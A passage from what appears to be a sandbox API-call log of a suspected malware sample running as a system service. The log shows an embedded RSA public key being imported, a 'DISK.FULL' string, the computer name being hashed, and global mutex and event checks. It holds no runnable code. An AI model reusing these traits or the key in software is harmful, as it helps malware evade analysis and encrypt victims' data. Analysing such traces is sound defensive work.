(HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d6a0) returned 1 [0256.344] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x10) returned 0x123d6a0 [0256.344] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d370 [0256.344] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c670 [0256.344] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d350 [0256.344] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c280 [0256.344] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d360 [0256.344] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c238 [0256.344] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d320 [0256.344] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1f0 [0256.344] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.344] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d310) returned 1 [0256.344] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.344] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d300) returned 1 [0256.344] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c2c8) returned 1 [0256.344] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2f0) returned 1 [0256.344] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.344] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2e0) returned 1 [0256.344] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d670) returned 1 [0256.344] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x8d2850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0256.345] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8d2850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0256.345] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x8d2850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0256.345] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8d2850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0256.345] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x8d2850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0256.345] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8d2850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0256.345] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x8d2850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0256.345] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8d2850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0256.345] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0256.345] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x8d7e80, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x8d7e80, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0256.346] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x8d7e80, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0256.349] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x8d7e80, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x8d80c8, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x8d80c8, pcbStructInfo=0x18fd24) returned 1 [0256.349] CryptImportPublicKeyInfo (in: hCryptProv=0x4d20c0, dwCertEncodingType=0x10001, pInfo=0x8d80c8*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x8d80f8*, PublicKey.cbData=0x20e, PublicKey.pbData=0x8d8100*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x4d6368) returned 1 [0256.350] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d80c8) returned 1 [0256.350] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d7e80) returned 1 [0256.351] ReleaseMutex (hMutex=0xc4) returned 1 [0256.351] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d5058) returned 1 [0256.351] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x2800) returned 0x8d5058 [0256.351] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c988 [0256.351] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c988) returned 1 [0256.351] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d5058) returned 1 [0256.351] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x2800) returned 0x8d5058 [0256.351] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c988 [0256.351] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c988) returned 1 [0256.351] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c988 [0256.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c988, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0256.351] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e2f0 [0256.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c988, cbMultiByte=9, lpWideCharStr=0x123e2f0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0256.351] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e378 [0256.351] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123e2f0) returned 1 [0256.351] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123e378) returned 1 [0256.351] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c988) returned 1 [0256.351] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d5058) returned 1 [0256.351] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d2850) returned 1 [0256.351] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.351] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2e0) returned 1 [0256.351] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c2c8) returned 1 [0256.351] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2f0) returned 1 [0256.351] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.351] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d300) returned 1 [0256.351] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.351] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d310) returned 1 [0256.351] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d670) returned 1 [0256.351] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0256.352] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) Thread: id = 1051 os_tid = 0x630 Thread: id = 1052 os_tid = 0x24c Thread: id = 1053 os_tid = 0x1fc Thread: id = 1054 os_tid = 0x5b0 [0256.401] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0x40ce51) returned 0x4d8210 [0256.401] SetServiceStatus (hServiceStatus=0x4d8210, lpServiceStatus=0x170ff4c*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0256.411] GetCommandLineW () returned="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" [0256.411] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", pNumArgs=0x170ff38 | out: pNumArgs=0x170ff38) returned 0x4db748*="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" [0256.411] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x10) returned 0x123d670 [0256.411] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d310 [0256.411] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x100) returned 0x8d7e80 [0256.411] LocalFree (hMem=0x4db748) returned 0x0 [0256.411] Wow64DisableWow64FsRedirection (in: OldValue=0x170ff34 | out: OldValue=0x170ff34*=0x0) returned 1 [0256.411] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x800) returned 0x8d7f88 [0256.411] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8d7f88, nSize=0x200 | out: lpFilename="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\presentationfontcache.exe")) returned 0x47 [0256.411] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e378 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e2f0 [0256.412] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123e378) returned 1 [0256.412] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123e2f0) returned 1 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x5c) returned 0x123df20 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e2f0 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e378 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e400 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e488 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e510 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e598 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e620 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e6a8 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e730 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e7b8 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e840 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e8c8 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x100) returned 0x8d8790 [0256.412] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x8d8790, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0256.412] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d8790) returned 1 [0256.412] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123e8c8) returned 1 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e8c8 [0256.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x123c310, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.412] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.412] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123e8c8) returned 1 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c2c8 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c988 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c9d0 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123ca18 [0256.412] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x5000) returned 0x8d2850 [0256.413] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123ca60 [0256.413] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123ca60) returned 1 [0256.413] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0256.458] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d2850) returned 1 [0256.458] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x4ccfd8, lpbSaclPresent=0x170fd68, pSacl=0x170fdbc, lpbSaclDefaulted=0x170fd68 | out: lpbSaclPresent=0x170fd68, pSacl=0x170fdbc, lpbSaclDefaulted=0x170fd68) returned 1 [0256.458] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123ca60 [0256.458] CreateEventA (lpEventAttributes=0x170fdb0, bManualReset=1, bInitialState=0, lpName="") returned 0x138 [0256.458] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123ca60) returned 1 [0256.458] GetLastError () returned 0x0 [0256.458] LocalFree (hMem=0x4ccfd8) returned 0x0 [0256.458] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123ca60 [0256.458] CryptAcquireContextW (in: phProv=0x170fda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x170fda0*=0x4db748) returned 1 [0256.459] CryptCreateHash (in: hProv=0x4db748, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x170fda0 | out: phHash=0x170fda0) returned 1 [0256.459] CryptHashData (hHash=0x4d39e0, pbData=0x123c2c8, dwDataLen=0xb, dwFlags=0x0) returned 1 [0256.459] CryptGetHashParam (in: hHash=0x4d39e0, dwParam=0x4, pbData=0x170fda4, pdwDataLen=0x170fdb0, dwFlags=0x0 | out: pbData=0x170fda4, pdwDataLen=0x170fdb0) returned 1 [0256.459] CryptGetHashParam (in: hHash=0x4d39e0, dwParam=0x2, pbData=0x123ca60, pdwDataLen=0x170fda4, dwFlags=0x0 | out: pbData=0x123ca60, pdwDataLen=0x170fda4) returned 1 [0256.459] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123caa8 [0256.459] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x184) returned 0x8d8790 [0256.459] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123caf0 [0256.459] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123cb38 [0256.460] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123cb80 [0256.460] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123cbc8 [0256.460] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123cc10 [0256.460] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123cc58 [0256.460] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x8d8938 [0256.460] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x8d8980 [0256.460] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x8d89c8 [0256.460] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x8d8a10 [0256.460] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x8d8a58 [0256.460] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x8d8aa0 [0256.460] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x8d8ae8 [0256.460] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x8d8b30 [0256.460] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x8d8b78 [0256.460] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x8d8bc0 [0256.460] CryptDestroyHash (hHash=0x4d39e0) returned 1 [0256.460] CryptReleaseContext (hProv=0x4db748, dwFlags=0x0) returned 1 [0256.460] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123ca60) returned 1 [0256.460] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123ca60 [0256.460] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x8d8c08 [0256.460] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123ca60) returned 1 [0256.460] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123ca60 [0256.460] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123ca60) returned 1 [0256.460] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d8c08) returned 1 [0256.460] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123caa8) returned 1 [0256.460] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123caa8 [0256.460] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x13c [0256.460] GetLastError () returned 0x0 [0256.460] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123ca60 [0256.460] CryptAcquireContextW (in: phProv=0x170fda0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x170fda0*=0x4db748) returned 1 [0256.461] CryptCreateHash (in: hProv=0x4db748, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x170fda0 | out: phHash=0x170fda0) returned 1 [0256.461] CryptHashData (hHash=0x4d39e0, pbData=0x123c2c8, dwDataLen=0xb, dwFlags=0x0) returned 1 [0256.461] CryptGetHashParam (in: hHash=0x4d39e0, dwParam=0x4, pbData=0x170fda4, pdwDataLen=0x170fdb0, dwFlags=0x0 | out: pbData=0x170fda4, pdwDataLen=0x170fdb0) returned 1 [0256.461] CryptGetHashParam (in: hHash=0x4d39e0, dwParam=0x2, pbData=0x123ca60, pdwDataLen=0x170fda4, dwFlags=0x0 | out: pbData=0x123ca60, pdwDataLen=0x170fda4) returned 1 [0256.461] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x8d8c08 [0256.461] CryptDestroyHash (hHash=0x4d39e0) returned 1 [0256.461] CryptReleaseContext (hProv=0x4db748, dwFlags=0x0) returned 1 [0256.461] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123ca60) returned 1 [0256.461] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123ca60 [0256.461] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x8d8c50 [0256.461] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123ca60) returned 1 [0256.462] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123ca60 [0256.462] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123ca60) returned 1 [0256.462] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d8c50) returned 1 [0256.462] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d8c08) returned 1 [0256.462] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x8d8c08 [0256.462] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x8d8c50 [0256.462] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0256.462] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d8c50) returned 1 [0256.462] GetLastError () returned 0x5 [0256.462] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x8d8c50 [0256.462] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0256.462] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d8c50) returned 1 [0256.462] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x8d8c50 [0256.462] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x140 [0256.462] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d8c50) returned 1 [0256.462] SetEvent (hEvent=0x13c) returned 1 [0256.462] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0xffffffff) Process: id = "97" image_name = "flashplayerupdateservice.exe" filename = "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe" page_root = "0x68cff000" os_pid = "0x584" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 1055 os_tid = 0x5b4 [0256.745] GetCommandLineW () returned="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" [0256.745] GetStockObject (i=168) returned 0x0 [0256.745] GetAsyncKeyState (vKey=58) returned 0 [0256.745] GetKBCodePage () returned 0x1b5 [0256.745] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.745] GetFocus () returned 0x0 [0256.745] GetAsyncKeyState (vKey=58) returned 0 [0256.745] GetKBCodePage () returned 0x1b5 [0256.745] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.745] GetFocus () returned 0x0 [0256.745] GetAsyncKeyState (vKey=58) returned 0 [0256.745] GetKBCodePage () returned 0x1b5 [0256.745] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), 